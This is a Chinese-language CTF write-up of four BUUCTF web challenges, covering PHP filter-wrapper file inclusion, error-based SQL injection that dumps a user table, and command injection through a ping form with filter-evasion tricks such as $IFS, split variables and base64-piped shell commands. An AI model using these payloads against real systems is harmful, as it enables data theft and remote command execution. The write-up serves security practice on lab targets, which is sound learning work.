BUUCTF web小结 1.0

目录

[ACTF2020 新生赛]Include

[极客大挑战 2019]Secret File

[极客大挑战 2019]LoveSQL

[GXYCTF2019]Ping Ping Ping

方法一:绕过正则表达式

方法二:因为过滤了bash,但是没有过滤sh,可用下面的方法,flag在f12中

方法三:内敛执行绕过,将反引号内命令的输出作为输入执行,flag在f12中

总结


[ACTF2020 新生赛]Include

打开题目:注意一下F12里面的跳转,点击tips,跳转,

url是这样滴,我们可以尝试一下用php伪协议

url后面加上如下代码

?file=php://filter/convert.base64-encode/resource=flag.php

得到一段base64加密代码,在burpsuite的decoder功能上进行解密,即可得到flag.

[极客大挑战 2019]Secret File

打开题目:题目有点ONE PIECE的感jio,

没有什么思路,然后就在f12里搜索php,看能不能有什么收获,发现有个Archive_room.php文件,然后访问

访问Archive_room.php文件,然后点击SECRET

但是却回显这样,试了好几次都是这样,想起来之前在bugku做的一个web题,有点类似,就抓包试试

抓包如下,得到secr3t.php文件

代开secr3t.php,进行代码审计,

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

strstr(str1,str2) 函数  用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。对大小写区分敏感。

stristr(str1,str2)函数  用于搜索字符串str2在字符串str1中的第一次出现,并返回字符串的剩余部分,该函数不区分大小写。

因为没有过滤file,就试试通过php伪协议的方式去读取文件。

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

访问,即可得到base64加码的文件,所以将得到的代码进行base64解码,就可以得到flag.

[极客大挑战 2019]LoveSQL

打开题目:是之前sql注入题目的延续

爆数据库

' and extractvalue(1,concat(0x7e,database()))#

 爆出了数据库的名字

继续爆表名

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="geek")))#

 爆出表名geekuser,l0ve1ysq1,(当然如果没有爆出,也可以爆其他的库)

继续爆列名

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1")))#

 得到列名

 

然后构造查询语句

' and extractvalue(1,concat(0x7e,(select concat_ws(0x7e,id,username,password) from geek.l0ve1ysq1 where id='1')))#

 爆出来这样的东西

然后将id的值进行修改进行爆破,当id=16时,发现了一些好东西

但是因为输出有限制,所以只能输出一部分,我们知道flag在password中,所以进行构造

 ' and extractvalue(1,concat(0x7e,(select password from geek.l0ve1ysq1 where id='16')))#

 

发现还是只有一部分,所以用substr函数,进行构造

' and extractvalue(1,concat(0x7e,(select substr(password,15,30) from geek.l0ve1ysq1 where id='16')))#

将两段flag进行拼接,即可得到flag.

[GXYCTF2019]Ping Ping Ping

打开题目,如下

感觉是get传值,试试,?ip=127.0.0.1,可行,然后展示目录吧

?ip=127.0.0.1|ls

 发现两个文件

来吧,flag给我展示吧

?ip=127.0.0.1;cat flag.php

 结果就是......

事情似乎没有那么简单......

用用${IFS}$代替space,发现不行,试了试,发现

看来字符有些也被过滤了,继续用$IFS$1代替space,发现

啊这,看来flag也被过滤了,行吧,先看看index.php吧

?ip=127.0.0.1;cat$IFS$1index.php
/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

代码审计:

 shell_exec ( string $cmd ) ;    (相当于命令执行函数)
cmd是要执行的命令,如果执行过程中发生错误或者进程不产生输出,则返回 NULL。
然后就是命令执行漏洞了

这里给个师傅的链接:命令执行漏洞


if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");

即url中不能按顺序出现flag四个字母,但是可以像我第二个一样,出现a=ag;b=fl;出现的次序是agfl,算是一个小绕过吧

方法一:绕过正则表达式

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

    可行,$a=ag;$b=fl;出现的次序是agfl,算是一个小绕过吧,最后又拼接到一起,下面两种皆可

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
?ip=127.0.0.1;a=lag;cat$IFS$1f$a.php

但是?ip=127.0.0.1;a=flag;cat$IFS$1$a.php  不行,因为url中按顺序出现了f l a g 四个字母

方法二:因为过滤了bash,但是没有过滤sh,可用下面的方法,flag在f12中

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

注:Y2F0IGZsYWcucGhw是cat flag.php的base64加密

方法三:内敛执行绕过,将反引号内命令的输出作为输入执行,flag在f12中

?ip=127.0.0.1;cat$IFS$1`ls`

命令`和$(命令)都是执行命令的方式,比如

root@kali:~# echo "xx`pwd`"
root@kali:~# echo "xx$(pwd)"

总结

做这些题目,发现自己还是有许多不懂的地方,基础还不是很牢固,还需要努力学习。

猜你喜欢

转载自blog.csdn.net/RABCDXB/article/details/111477644